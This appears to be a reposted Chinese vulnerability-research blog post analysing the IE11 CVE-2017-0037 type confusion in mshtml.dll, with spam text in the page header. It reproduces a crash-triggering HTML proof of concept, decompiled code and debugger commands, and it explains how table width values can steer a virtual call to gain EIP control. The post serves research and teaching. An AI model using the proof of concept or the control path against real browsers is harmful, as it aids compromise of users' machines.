压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

IE11 CVE-2017-0037 Type Confusion分析

最近在用WinAFL,看到作者ifratric在2017年利用winafl發(fā)現(xiàn)了CVE-2017-0037這個(gè)洞, 類型是type confusion,沒分析過(guò)這種類型的洞,并且在分析惡意代碼時(shí)遇到過(guò),但是并沒有分析具體原因,所以就自己動(dòng)手復(fù)現(xiàn)了一下,詳細(xì)的捋了一下整個(gè)流程

環(huán)境搭建

瀏覽器環(huán)境

1544771564552

開啟頁(yè)堆

1544779102026

為了便于分析并在分析中節(jié)省時(shí)間,建議將symbol path設(shè)置在共享目錄里,附加過(guò)后設(shè)置一個(gè)快照

1544779329222

漏洞分析

首先利用ifratric給出的PoC進(jìn)行測(cè)試

<!-- saved from url=(0014)about:internet -->
<style>
.class1 { float: left; column-count: 5; }
.class2 { column-span: all; columns: 1px; }
table {border-spacing: 0px;}
</style>
<script>
function boom() {
  document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa";
  th1.align = "right";
}
</script>
<body onload="setInterval(boom,100)">
<table cellspacing="0">
<tr class="class1">
<th id="th1" colspan="5" width=0></th>
<th class="class2" width=0><div class="class2"></div></th>

結(jié)果

1544779599878

崩潰調(diào)用棧

1544779934252

分析HandleColumnBreakOnColumnSpanningElement函數(shù)

signed int __fastcall Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement(Layout::ContainerBoxBuilder *a1, Tree::ANode *a2, int a3)
{
  int v3; // esi
  Layout::ContainerBoxBuilder *v4; // eax
  int v5; // ecx
  int v6; // ecx
  bool v7; // zf
  Layout::ContainerBoxBuilder *v8; // ebx
  int v9; // eax
  Tree::ANode *v10; // eax
  Tree::ANode *v11; // edi
  char v13; // al
  int v14; // eax
  int v15; // eax
  _DWORD *v16; // ebx
  _DWORD *v17; // eax
  char v18; // al
  int v19; // eax
  int v20; // [esp+0h] [ebp-2Ch]
  char v21; // [esp+Ch] [ebp-20h]
  Tree::ANode *v22; // [esp+14h] [ebp-18h]
  _DWORD *v23; // [esp+18h] [ebp-14h]
  int *v24; // [esp+1Ch] [ebp-10h]
  int v25; // [esp+20h] [ebp-Ch]
  Layout::ContainerBoxBuilder *v26; // [esp+24h] [ebp-8h]
  bool v27; // [esp+2Bh] [ebp-1h]

  v22 = a2;
  v3 = 0;
  v4 = Layout::ContainerBoxBuilder::ParentContainerBoxBuilder(a1);
  v6 = *(_DWORD *)(v5 + 16);
  v7 = *(_DWORD *)(v6 + 136) == 0;
  v25 = *(_DWORD *)(v6 + 12);
  v27 = v7;
  while ( 1 )
  {
    v8 = v4;
    v26 = v4;
    if ( !v4 )
      return 0;
    if ( Layout::LayoutBoxBuilder::IsMultiColumnBoxBuilder(v4) )
    {
      if ( v8 )
      {
        v9 = *((_DWORD *)v8 + 131);
        if ( v9 == 1 || v9 == 2 || v9 == 4 )
        {
          v10 = Layout::MultiColumnBoxBuilder::LastColumnSpanningElement(v8);
          v11 = v22;
          if ( v10 == v22 || v10 && Tree::ANode::StartsBefore(v22, v10) )
            return 2;
          if ( !(*((_BYTE *)v8 + 576) & 1) )
          {
            SP<Tree::ElementNode>::operator=((char *)v8 + 560, v11);
            *((_DWORD *)v8 + 141) = v3 + a3;
            *((_BYTE *)v8 + 568) ^= (v27 ^ *((_BYTE *)v8 + 568)) & 1;
            return 1;
          }
        }
      }
      return 0;
    }
    v13 = (*(int (__thiscall **)(Layout::ContainerBoxBuilder *))(*(_DWORD *)v8 + 84))(v26);
    if ( &v20 != &v20 )
      __fastfail(4u);
    if ( v13 )
    {
      v14 = (*(int (__thiscall **)(Layout::ContainerBoxBuilder *, char *))(*(_DWORD *)v26 + 88))(v26, &v21);
      if ( &v20 != &v20 )
        __fastfail(4u);
      v3 += *(_DWORD *)(v14 + 4);
    }
    if ( v27 )
    {
      v15 = *((_DWORD *)v26 + 4);               // TableGridBoxBuilder
      v16 = *(_DWORD **)(v15 + 136);            // TableGridBox
      v23 = *(_DWORD **)(v15 + 136);
      if ( !*(_DWORD *)Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem>>::Readable(v23) )
        goto LABEL_35;
      v17 = (_DWORD *)Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem>>::Readable(v16);
      v24 = &v20;
      v18 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)*v17 + 0x1A4))(*v17);
      if ( v24 != &v20 )
        __fastfail(4u);
      if ( v18
        && (v19 = Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem>>::Readable(v23),
            *(_DWORD *)(*(_DWORD *)v19 + 12) == v25) )
      {
LABEL_35:
        v27 = 1;
      }
      else
      {
        v27 = 0;
      }
    }
    v25 = *(_DWORD *)(*((_DWORD *)v26 + 4) + 12);
    v4 = Layout::ContainerBoxBuilder::ParentContainerBoxBuilder(v26);
  }
}

可以發(fā)現(xiàn)通過(guò)函數(shù)Layout::ContainerBoxBuilder::ParentContainerBoxBuilder,循環(huán)處理元素,為了清楚到底是怎么處理的,將所有的處理結(jié)果打印處理出來(lái)

// mshtml.dll x86
bu 663DBF61 ".printf "###BeforeWhile=> 參數(shù)(ecx): "; dps ecx L1; .printf "                 返回值(ecx+0x14): "; dps poi(ecx+0x14) L1;g"
bu 6669FCE4 ".printf "###InWhile=> 參數(shù)(ecx): "; dps ecx L1; .printf "             返回值(ecx+0x14): "; dps poi(ecx+0x14) L1;g"

結(jié)果

1544784678085

最后一次的返回值,是一個(gè)TableGridBoxBuilder類型,在轉(zhuǎn)換中出錯(cuò)

可以看到最終出錯(cuò)是在將TableGridBoxBuilder轉(zhuǎn)換到SGridBoxItem的過(guò)程

 v15 = *((_DWORD *)v26 + 4);    // 獲得TableGridBoxBuilder對(duì)象
 v16 = *(_DWORD **)(v15 + 136); // TableGridBox
 v23 = *(_DWORD **)(v15 + 136);
 if ( !*(_DWORD *)Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem>>::Readable(v23) ) // 轉(zhuǎn)換出錯(cuò)

既然出錯(cuò)在TableGridBoxBuilder對(duì)象上,那就來(lái)看看TableGridBoxBuilder對(duì)象是如何生成的,其生成涉及到三個(gè)主要函數(shù)

 Layout::TableGridBoxBuilder::TableGridBoxBuilder
 Layout::TableGridBoxBuilder::Constructor
 Layout::TableGridBoxBuilder::CreateTableGridBoxBuilder

首先其構(gòu)造函數(shù)

Layout::TableGridBox *__thiscall Layout::TableGridBox::TableGridBox(Layout::TableGridBox *this, struct Tree::ElementNode *a2, struct Layout::ContainerBoxBuilder *a3, bool a4, bool a5, struct Layout::ScrollState *a6)
{
  Layout::TableGridBox *v6; // esi
  _DWORD *v7; // edi
  int v8; // eax
  Layout::TableGridBox *v9; // esi
  char v11; // [esp+Ch] [ebp-10h]
  Layout::TableGridBox *v12; // [esp+18h] [ebp-4h]

  v6 = this;
  v12 = this;
  Layout::ContainerBox::ContainerBox(this, a2, a3, a4, a5, a6);
  *(_DWORD *)v6 = &Layout::TableGridBox::`vftable';
  v7 = (_DWORD *)((char *)v6 + 164);
  *((_DWORD *)v6 + 34) = 0;   // readable 讀取對(duì)象(34*4=136)
  *((_DWORD *)v6 + 35) = 0;      // readable 返回對(duì)象
  *((_DWORD *)v6 + 36) = 0;
  *((_DWORD *)v6 + 37) = 0;
  *((_DWORD *)v6 + 38) = 0;
  *((_DWORD *)v6 + 39) = 0;
  *((_DWORD *)v6 + 40) = 0;
  *v7 = 0;
  v7[1] = 0;
  v7[2] = 0;
  v7[3] = 0;
  *((_DWORD *)v6 + 47) = 0;
  *((_DWORD *)v6 + 48) = 0;
  *((_DWORD *)v6 + 49) = 0;
  *((_DWORD *)v6 + 50) = 0;
  *((_DWORD *)v6 + 51) = 0;
  *((_DWORD *)v6 + 52) = 0;
  *((_DWORD *)v6 + 53) = 0;
  *v7 = Math::SRectangle::Empty;
  *((_DWORD *)v6 + 42) = *(&Math::SRectangle::Empty + 1);
  *((_DWORD *)v6 + 43) = *(&Math::SRectangle::Empty + 2);
  *((_DWORD *)v6 + 44) = *(&Math::SRectangle::Empty + 3);
  *((_BYTE *)v6 + 216) &= 0xFEu;
  *((_DWORD *)v6 + 45) = 0;
  *((_DWORD *)v6 + 46) = 0;
  v8 = Layout::LayoutBox::ComputedStyle(v6, &v11);
  v9 = v12;
  *((_BYTE *)v9 + 134) ^= ((*(_BYTE *)(*(_DWORD *)v8 + 1115) >> 5) & 1 ^ *((_BYTE *)v12 + 134)) & 1;
  SP<Layout::FlexBoxBuilderRow>::operator=(0);
  return v9;
}

可以看到這里構(gòu)造了一個(gè)空對(duì)象,再看CreateTableGridBoxBuilder函數(shù),這個(gè)是理解整個(gè)過(guò)程很重要的函數(shù),為了看的更加清晰一點(diǎn),我截圖+注釋

1544937709318

Layout::TableGridBox::InitializeColumnData中初始化了TableGridBox對(duì)象,跟蹤進(jìn)入

1544938073266

Layout::TableGridBoxBuilder::Constructor

1544938198026

再跟進(jìn)Layout::ContainerBoxBuilder::Constructor

1544938290950

捋一下,大概的關(guān)系是這樣的

TableGridBoxBuilder
    |
    |--> +4 =>存儲(chǔ) TableGrideBox
                    |
                    |--> +136 => 得到Array<Math::SLayoutMeasure>數(shù)組

再回到Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement函數(shù),出錯(cuò)的情況下,各個(gè)對(duì)象是這樣的

1544938574310

上面的整個(gè)過(guò)程是我們理論分析出來(lái)的,看看實(shí)際執(zhí)行情況,是不是這樣

1544938911289

創(chuàng)建數(shù)組這里,windbg符號(hào)發(fā)生了錯(cuò)誤,可以通過(guò)IDA看一下真正的函數(shù)

1544939070977

可以發(fā)現(xiàn),我們理論推測(cè)的和實(shí)際執(zhí)行情況是一致的。出錯(cuò)的原因是,由于參數(shù)是個(gè)數(shù)組,但是Readable把它當(dāng)成對(duì)象,導(dǎo)致Type Confusion

出錯(cuò)的具體原因找到了,來(lái)看看能不能利用,接下來(lái)分析一下攻擊面,看看通過(guò)控制哪個(gè)參數(shù),能夠控制EIP

利用構(gòu)建

再來(lái)看一下出錯(cuò)附近的函數(shù)使用情況

1544939799992

其中有一個(gè)虛表函數(shù)調(diào)用,可以發(fā)現(xiàn)我們只要能夠控制ArrayObject_1+4位置的值,就可以造成命令執(zhí)行。

整體的過(guò)程大概是這樣的

TableGridBoxBuilder
    |
    |--> +4 =>存儲(chǔ) TableGrideBox
                    |
                    |--> +136 存儲(chǔ)ArrayObject_1
                                |
                                |-> +4 存儲(chǔ)p_vftable
                                            |
                                            |-> +0x1A4 存儲(chǔ)一個(gè)虛表函數(shù)

如果想控制p_vftable,就需要控制ArrayObject_1,然而ArrayObject_1是在TableGrideBox初始化函數(shù)Layout::TableGridBox::InitializeColumnData初始化的。

1544966802600

可以看到數(shù)組中的值,來(lái)自于TableBoxBuilder的對(duì)象+165位移處。為了不產(chǎn)生歧義,這里為以后的分析,解釋一下,165是雙字表示的,換成字節(jié)表示,位移應(yīng)該是660/0x294

這里我們需要分析一下TableBoxBuilder+165處的具體數(shù)據(jù),其實(shí)就像我們上面分析TableGridBoxBuilder一樣。

與其相關(guān)的構(gòu)建函數(shù)

Layout::TableBoxBuilder::TableBoxBuilder    
Layout::TableBoxBuilder::CreateTableBoxBuilder
Layout::TableBoxBuilder::Constructor

經(jīng)過(guò)多次分析,其實(shí)可以直接猜到會(huì)利用這三個(gè)函數(shù)進(jìn)行構(gòu)建,所以根據(jù)上面的分析,直接看Layout::TableBoxBuilder::CreateTableBoxBuilder

1544967673521

跟進(jìn)Constructor

1544967760805

通過(guò)兩處標(biāo)注出來(lái)的地方,發(fā)現(xiàn)TableBoxBuilderObject,在中途被改變了,動(dòng)態(tài)跟蹤一下

1544967945743

確實(shí)被改變了,說(shuō)明通過(guò)直接分析TableBoxBuilder對(duì)象的方式,分析出TableBoxBuilder+0x294位移處的數(shù)據(jù)有點(diǎn)不太方便,這里先暫時(shí)放一放,如果別的方法不行的話,再來(lái)分析這個(gè)。

換一種方法,直接再次分析Layout::TableGridBox::InitializeColumnData

ArrayObject = (Layout::TableGridBox *)((char *)TableGridBoxObject + 136);
  v5 = *(_DWORD *)(*((_DWORD *)v4 + 7) + 80) + 1;
  v6 = Array<Math::SLayoutMeasure>::Create((int *)&v12, v5);
  SArray<enum  Tree::BorderSideEnum>::operator=((_DWORD *)TableGridBoxObject + 34, v6);// 將數(shù)組v6賦值給TableGridBoxObject+136位置(readable讀取對(duì)象->數(shù)組)
  v7 = 0;
  if ( !*((_DWORD *)TableGridBoxObject + 34) )
    goto LABEL_18;
  if ( !(*((_BYTE *)TableGridBoxObject + 132) & 8) )
  {
    index = 0;
    if ( v5 > 0 )
    {
      ArrayObject_copy = ArrayObject;
      do
      {
        *(_DWORD *)(*ArrayObject_copy + 4 * index) = *(_DWORD *)(*((_DWORD *)TableBoxBuildObject + 165) + 4 * index); // 跟蹤TableBoxBuilder對(duì)象的構(gòu)建過(guò)程
        ++index;
      }
      while ( index < v5 );
      TableGridBoxObject = v14;
      v7 = 0;
    }
  }

對(duì)應(yīng)的反匯編

1544968231915

可以發(fā)現(xiàn)ebx+0x294位置存放的結(jié)構(gòu),存儲(chǔ)著我們需要的數(shù)據(jù),利用堆跟蹤數(shù)據(jù)來(lái)源

1544968613028

通過(guò)分析堆的來(lái)源,到這里可以發(fā)現(xiàn),其實(shí)可以根據(jù)更改width去影響最后出錯(cuò)位置,指向shellcode,到這里正常來(lái)說(shuō),我感覺就可以去分析利用過(guò)程了。但是,這是我第一次分析瀏覽器方面的漏洞,想深入分析一下,接著分析。這個(gè)過(guò)程對(duì)于我這種第一次分析的人來(lái)說(shuō),特別困難,基本用了一周多所有的業(yè)余時(shí)間來(lái)做這個(gè)。

首先根據(jù)堆的提示,來(lái)看一下相關(guān)代碼

1545395759055

在這里分析的過(guò)程中,走了一點(diǎn)彎路,起初在看偽碼時(shí),有點(diǎn)摸不著頭腦,想了很久,想分析的方法。之后在這里沒有找到出路,就再次回頭去分析TableBoxBuilder+0x294的事。

其實(shí)這里可以一直往下分析的,最后也可以成功找到具體數(shù)據(jù)生成的方法,而且還會(huì)少走很多的彎路!

先來(lái)介紹我走的彎路,其中有很多分析的方法和經(jīng)驗(yàn)還是很好的

跟蹤TableBoxBuilder+0x294數(shù)據(jù)

TableBoxBuilder對(duì)應(yīng)的空間被創(chuàng)建后下斷點(diǎn),斷下來(lái)后,在+0x294被寫入時(shí),再次下寫入斷點(diǎn)

bu 66146DF8 ".echo ======Change 0x294 Data======;r @$t0=eax; bc 1; ba w1 @$t0+0x294 "dd poi(@$t0+0x294) L4;r eip;kb; g";g"

結(jié)果

1545396775422

Layout::TableBoxBuilder::InitializeBoxSizing

1545396931717

+0x294a4+0xc改變了,所以再回溯,進(jìn)入Layout::FlowBoxBuilder::OnChildBoxEntry函數(shù),這個(gè)函數(shù)特別長(zhǎng),只截取用到的部分

1545397180395

可以發(fā)現(xiàn)[FloBoxBuilder+136]+0xc的值存儲(chǔ)了TableBoxBuilder+0x294的值。為了分析FlowBoxBuilder,我又分析了FlowBoxBuilder的結(jié)構(gòu),這個(gè)過(guò)程比較惡心,很復(fù)雜,只說(shuō)個(gè)結(jié)果吧

CreateTableBoxBuilder+136 
    |
    | => TableBoxBuilder+0x294 
            |
            | => (FlowBoxBuilder+0x114)+0xc

其中

FlowBoxBuilder+0x114 
    |
    | =>  存儲(chǔ) SBoxModel
                | 
                | => +0xc 存儲(chǔ) Layout::STableBoxSizeCalculator + 0x4數(shù)據(jù)

最終的結(jié)果是Layout::STableBoxSizeCalculator+0x4中存儲(chǔ)了我們最終的數(shù)組。

Layout::STableBoxSizeCalculator *__thiscall Layout::STableBoxSizeCalculator::STableBoxSizeCalculator(Layout::STableBoxSizeCalculator *this, int a2, int a3, int a4)
{
  Layout::STableBoxSizeCalculator *v4; // edi
  int v5; // ecx

  v4 = this;
  *(_DWORD *)this = 0;
  *((_DWORD *)this + 1) = 0;
  *((_DWORD *)this + 2) = 0;
  *((_DWORD *)this + 3) = 0;
  *((_DWORD *)this + 4) = 0;
  *((_DWORD *)this + 5) = 0;
  *((_DWORD *)this + 6) = 0;
  SArray<Layout::GridBlockTrackCollection::SRange>::operator=(this, (int)this);
  SArray<Layout::GridBlockTrackCollection::SRange>::operator=((_DWORD *)v4 + 1, v5);
  *((_DWORD *)v4 + 2) = 0;
  *((_DWORD *)v4 + 3) = 0;
  *((_DWORD *)v4 + 4) = 0;
  *((_DWORD *)v4 + 5) = 0;
  *((_DWORD *)v4 + 6) = 0;
  Layout::STableBoxSizeCalculator::CalculateTableUsedWidth(v4, a2, a3, a4);
  return v4;
}

而在Layout::STableBoxSizeCalculator::CalculateTableUsedWidth中,更改了+0x4位置的數(shù)據(jù)

void __thiscall Layout::STableBoxSizeCalculator::CalculateTableUsedWidth(Layout::STableBoxSizeCalculator *this, int a2, int a3, int a4)
{
  Layout::STableBoxSizeCalculator *v4; // edi
  struct Tree::TableGridBlock *v5; // ebx
  int v6; // esi
  char v7; // [esp+Ch] [ebp-28h]
  char v8; // [esp+14h] [ebp-20h]
  int v9; // [esp+18h] [ebp-1Ch]
  int v10; // [esp+24h] [ebp-10h]
  int v11; // [esp+28h] [ebp-Ch]
  int v12; // [esp+2Ch] [ebp-8h]

  v4 = this;
  v5 = *(struct Tree::TableGridBlock **)(a2 + 28);
  Tree::TableGridBlock::EnsureTableStructureRelatedFormatsAreReadyToUse(*(Tree::TableGridBlock **)(a2 + 28));
  Layout::STableBoxSizeCalculator::STableWidthCalculator::STableWidthCalculator(&v7, a2, a3, a4);
  *((_DWORD *)v4 + 2) = v11;
  *((_DWORD *)v4 + 3) = v9;
  *((_DWORD *)v4 + 4) = v10;
  Layout::STableBoxSizeCalculator::CalculateColumnUsedWidthAndOffset(// 改變值
    v4,
    v5,
    (enum System::MemoryAllocationResultEnum *)&v12);
  if ( v12 )
  {
    v6 = 0;
    for ( *((_DWORD *)v4 + 6) = 0; v6 < *((_DWORD *)v5 + 13); ++v6 )
    {
      if ( v6 >= *((_DWORD *)v5 + 20) + 1 )
        break;
      if ( Tree::TableGridBlock::IsColumnVisibilityCollapse(v5, v6) )
        *((_DWORD *)v4 + 6) += *((_DWORD *)v4 + 4) + *(_DWORD *)(*(_DWORD *)v4 + 4 * v6);
    }
    *((_DWORD *)v4 + 5) = *((_DWORD *)v4 + 3) + *((_DWORD *)v4 + 2);
  }
  SP<Layout::PageCollectionItem>::~SP<Layout::PageCollectionItem>((System::SmartObject **)&v8);
}

而其調(diào)用的函數(shù)Layout::STableBoxSizeCalculator::CalculateColumnUsedWidthAndOffset更改了目標(biāo)值

1545398601242

可以看到v14影響著最終結(jié)果數(shù)組,而v14又被v13所更改,跟蹤Layout::STableBoxSizeCalculator::STableColumnDistributor::STableColumnDistributor

Layout::STableBoxSizeCalculator::STableColumnDistributor *__thiscall Layout::STableBoxSizeCalculator::STableColumnDistributor::STableColumnDistributor(_DWORD *this, int a2, int a3, _DWORD *a4)
{
  Layout::STableBoxSizeCalculator::STableColumnDistributor *v4; // ebx
  _DWORD *v5; // edi
  int *v6; // eax
  char v8; // [esp+10h] [ebp-4h]

  v4 = (Layout::STableBoxSizeCalculator::STableColumnDistributor *)this;
  *this = 0;
  v5 = this + 2;
  this[1] = 0;
  this[2] = 0;
  this[6] = 0;
  this[7] = 0;
  this[9] = 0;
  this[10] = 0;
  this[11] = 0;
  this[12] = 0;
  this[13] = 0;
  this[14] = 0;
  *a4 = 1;
  SP<Collections::GrowingItemListNode<SP<Tree::TableCellBlock>>>::operator=(this, a2);
  *((_DWORD *)v4 + 1) = a3;
  *((_DWORD *)v4 + 3) = 0;
  *((_DWORD *)v4 + 4) = 0;
  *((_DWORD *)v4 + 5) = 0;
  *((_DWORD *)v4 + 6) = 0;
  *((_DWORD *)v4 + 7) = 0;
  *((_DWORD *)v4 + 11) = 0;
  *((_DWORD *)v4 + 9) = 0;
  *((_DWORD *)v4 + 10) = 0;
  *((_DWORD *)v4 + 12) = 0;
  *((_DWORD *)v4 + 13) = 0;
  *((_DWORD *)v4 + 14) = 0;
  *((_DWORD *)v4 + 8) = 0;
  *((_DWORD *)v4 + 15) = 0;
  *((_DWORD *)v4 + 16) = 0;
  v6 = Array<Math::SLayoutMeasure>::Create((int *)&v8, *(_DWORD *)(a2 + 80) + 1);
  SArray<enum  Tree::BorderSideEnum>::operator=(v5, v6);
  if ( *v5 )
    Layout::STableBoxSizeCalculator::STableColumnDistributor::CalculateColumnsUsedWidth(v4);
  else
    *a4 = 0;
  return v4;
}

其值被Layout::STableBoxSizeCalculator::STableColumnDistributor::CalculateColumnsUsedWidth更改

void __thiscall Layout::STableBoxSizeCalculator::STableColumnDistributor::CalculateColumnsUsedWidth(Layout::STableBoxSizeCalculator::STableColumnDistributor *this)
{
  Layout::STableBoxSizeCalculator::STableColumnDistributor *v1; // esi
  Layout::STableBoxSizeCalculator::STableColumnDistributor *v2; // ecx
  Layout::STableBoxSizeCalculator::STableColumnDistributor *v3; // ecx
  int v4; // [esp+4h] [ebp-4h]

  v1 = this;
  Layout::STableBoxSizeCalculator::STableColumnDistributor::CalculateColumnsTotalMinMaxWidths(this);
  Layout::STableBoxSizeCalculator::STableColumnDistributor::CalculatePercentColumnsTotalUsedWidth(v1);
  Layout::STableBoxSizeCalculator::STableColumnDistributor::CalculatePercentColumnsUsedWidth(v1, &v4);
  Layout::STableBoxSizeCalculator::STableColumnDistributor::CalculateNonPercentColumnsUsedWidth(v1, v4);
  Layout::STableBoxSizeCalculator::STableColumnDistributor::CalculatePixelAndAutoColumnsTotalWidth(v1);
  Layout::STableBoxSizeCalculator::STableColumnDistributor::DeterminePixelAndAutoColumnsDistributionMethod(v2);
  Layout::STableBoxSizeCalculator::STableColumnDistributor::CalculateAutoColumnsUsedWidth(v3);
  Layout::STableBoxSizeCalculator::STableColumnDistributor::CalculatePixelColumnsUsedWidth(v1); // 改變值函數(shù)
  Layout::STableBoxSizeCalculator::STableColumnDistributor::DistributeRoundingErrors(v1);
}

根據(jù)反復(fù)調(diào)試,最后更改數(shù)據(jù)的函數(shù)在這里

void __thiscall Layout::STableBoxSizeCalculator::STableColumnDistributor::CalculatePixelColumnsUsedWidth(Layout::STableBoxSizeCalculator::STableColumnDistributor *this)
{
  Layout::STableBoxSizeCalculator::STableColumnDistributor *v1; // edi
  int v2; // ebx
  int v3; // eax
  int v4; // ecx
  int v5; // eax
  int v6; // eax
  int v7; // eax
  int v8; // eax
  int v9; // esi
  int v10; // esi
  _DWORD **v11; // eax
  int v12; // edi
  _DWORD *v13; // eax
  _DWORD *v14; // eax
  int v15; // [esp+Ch] [ebp-24h]
  int v16; // [esp+10h] [ebp-20h]
  int v17; // [esp+18h] [ebp-18h]
  char v18; // [esp+1Ch] [ebp-14h]
  char v19; // [esp+20h] [ebp-10h]
  char v20; // [esp+24h] [ebp-Ch]
  Layout::STableBoxSizeCalculator::STableColumnDistributor *v21; // [esp+28h] [ebp-8h]
  int v22; // [esp+2Ch] [ebp-4h]

  v1 = this;
  v2 = 0;
  v21 = this;
  if ( *((_DWORD *)this + 3) > 0 )
  {
    v3 = *((_DWORD *)this + 16);
    v4 = *(_DWORD *)(*(_DWORD *)this + 80) + 1;
    v22 = *(_DWORD *)(*(_DWORD *)v1 + 80) + 1;
    v5 = v3 - 1;
    if ( v5 )
    {
      v6 = v5 - 1;
      if ( v6 )
      {
        v7 = v6 - 1;
        if ( v7 )
        {
          if ( v7 == 1 )
          {
            v8 = 0;
            v9 = *((_DWORD *)v1 + 11) - *((_DWORD *)v1 + 7);
            v21 = 0;
            if ( v4 > 0 )
            {
              do
              {
                Tree::TableGridBlock::ColumnMeasure(*(_DWORD **)v1, &v15, v8);
                if ( v17 && v17 == 1 )
                {
                  if ( *((_DWORD *)v1 + 7) <= 0 )
                    v14 = Math::SLayoutMeasure::MulDivQuickRound(&v19, v9, 1, *((_DWORD *)v1 + 3));
                  else
                    v14 = Math::SLayoutMeasure::MulDivQuickRound(&v20, v9, v16, *((_DWORD *)v1 + 7));
                  *(_DWORD *)(*((_DWORD *)v1 + 2) + 4 * (_DWORD)v21) = v16 + *v14;
                }
                v8 = (int)v21 + 1;
                v21 = (Layout::STableBoxSizeCalculator::STableColumnDistributor *)v8;
              }
              while ( v8 < v22 );
            }
          }
        }
        else
        {
          v10 = *((_DWORD *)v1 + 7) - *((_DWORD *)v1 + 6);
          v11 = (_DWORD **)v21;
          v12 = *((_DWORD *)v1 + 11) - *((_DWORD *)v21 + 6);
          if ( v4 > 0 )
          {
            do
            {
              Tree::TableGridBlock::ColumnMeasure(*v11, &v15, v2);
              if ( v17 && v17 == 1 )
              {
                v13 = Math::SLayoutMeasure::MulDivQuickRound(&v18, v12, v16 - v15, v10);
                *(_DWORD *)(*((_DWORD *)v21 + 2) + 4 * v2) = v15 + *v13;
              }
              v11 = (_DWORD **)v21;
              ++v2;
            }
            while ( v2 < v22 );
          }
        }
      }
      else if ( v4 > 0 )
      {
        do
        {
          Tree::TableGridBlock::ColumnMeasure(*(_DWORD **)v1, &v15, v2);// 更改v16
          if ( v17 && v17 == 1 )
            *(_DWORD *)(*((_DWORD *)v1 + 2) + 4 * v2) = v16;// 改變值的循環(huán)
          ++v2;
        }
        while ( v2 < v22 );
      }
    }
    else if ( v4 > 0 )
    {
      do
      {
        Tree::TableGridBlock::ColumnMeasure(*(_DWORD **)v1, &v15, v2);
        if ( v17 && v17 == 1 )
          *(_DWORD *)(*((_DWORD *)v1 + 2) + 4 * v2) = v15;
        ++v2;
      }
      while ( v2 < v22 );
    }
  }
}

v16v15更改,跟進(jìn)

_DWORD *__thiscall Tree::TableGridBlock::ColumnMeasure(_DWORD *this, _DWORD *a2, int index)
{
  _DWORD *result; // eax
  _DWORD *v4; // esi

  if ( this[16] && index < this[17] )
  {
    result = a2;
    v4 = (_DWORD *)(this[16] + 16 * index);
    *a2 = *v4;
    ++v4;
    a2[1] = *v4; // 被賦予this[16] + 16 * index指向值
    ++v4;
    a2[2] = *v4;
    a2[3] = v4[1];
  }
  else
  {
    Tree::STableColumnMeasure::STableColumnMeasure(a2, 0, 0, 0, 0);
    result = a2;
  }
  return result;
}

之后回退,看看傳進(jìn)來(lái)的值什么時(shí)候改變的,最終回退到這里

1546050062958

傳進(jìn)來(lái)的ebp-50h竟然在sub esp,54h就有了初始值

1546050310122

這么一來(lái),根據(jù)我有限的經(jīng)驗(yàn)(雖然有,但是我真的沒找到),就無(wú)法再追蹤數(shù)據(jù)了。其實(shí)在調(diào)試的過(guò)程中,能夠知道數(shù)組的長(zhǎng)度是和colspan有關(guān)的,但是不知道width和最終的結(jié)果有著什么樣的數(shù)據(jù)關(guān)系。至少?gòu)哪嫦虻慕嵌龋疫€沒有想到好的辦法。

期間看了k0shl牛的文章說(shuō)Layout::ContainerBoxBuilder::ComputeBoxModelForChildWithUsedWidth完成了width*100,但是分析了這個(gè)函數(shù)也沒有找到。

所以在嘗試了很長(zhǎng)時(shí)間的調(diào)試之后,我開始想了別的方法。

從純數(shù)學(xué)的角度考慮,假設(shè)輸入輸出是線性關(guān)系

input (線性變化)=> output

因?yàn)槟壳耙阎Y(jié)果只和width有關(guān),所以假設(shè)結(jié)果和輸入是一元一次的線性關(guān)系,并設(shè)置colspan為0

a*input_1 + b = output_1
a*input_2 + b = output_2

結(jié)果為a=100,b=200,測(cè)試一個(gè)數(shù)據(jù)input_1=50,計(jì)算結(jié)果為0x1450

至此,整個(gè)關(guān)系捋清楚了,我們可以通過(guò)堆噴,從而控制EIP,但是在利用的過(guò)程中發(fā)現(xiàn),只用CVE-2017-0037沒有辦法直接繞過(guò)win7下的ASLR+DEP,還需要一個(gè)內(nèi)存泄露的洞來(lái)形成利用鏈才行。所以打算下篇分析CVE-2017-0059,這個(gè)洞由于UAF導(dǎo)致的內(nèi)存泄露,正好結(jié)合這個(gè)洞,形成一個(gè)完整的利用鏈。到時(shí)再給出完整的exploit。但是還有很多fuzzing結(jié)果需要分析,可能會(huì)稍微慢點(diǎn):)。

總結(jié)

第一次分析瀏覽器相關(guān)的漏洞,可能是難度比較大,導(dǎo)致這個(gè)洞的分析資料比較少,中文的也就k0shl大牛的分析還算詳細(xì),但是很多跳躍太大了,要想連貫起來(lái),作為新手還要花費(fèi)很多時(shí)間去不斷調(diào)試。分析過(guò)程很痛苦,但是收獲也很大。

最后歡迎批評(píng)指正。

參考

P0 ifratric

k0shl分析

CVE to PoC – CVE-2017-0037

原文鏈接:https://www.anquanke.com/post/id/168916

上一篇:2018年全球十大APT攻擊事件盤點(diǎn)

下一篇:“雙槍”木馬的基礎(chǔ)設(shè)施更新及相應(yīng)傳播方式的分析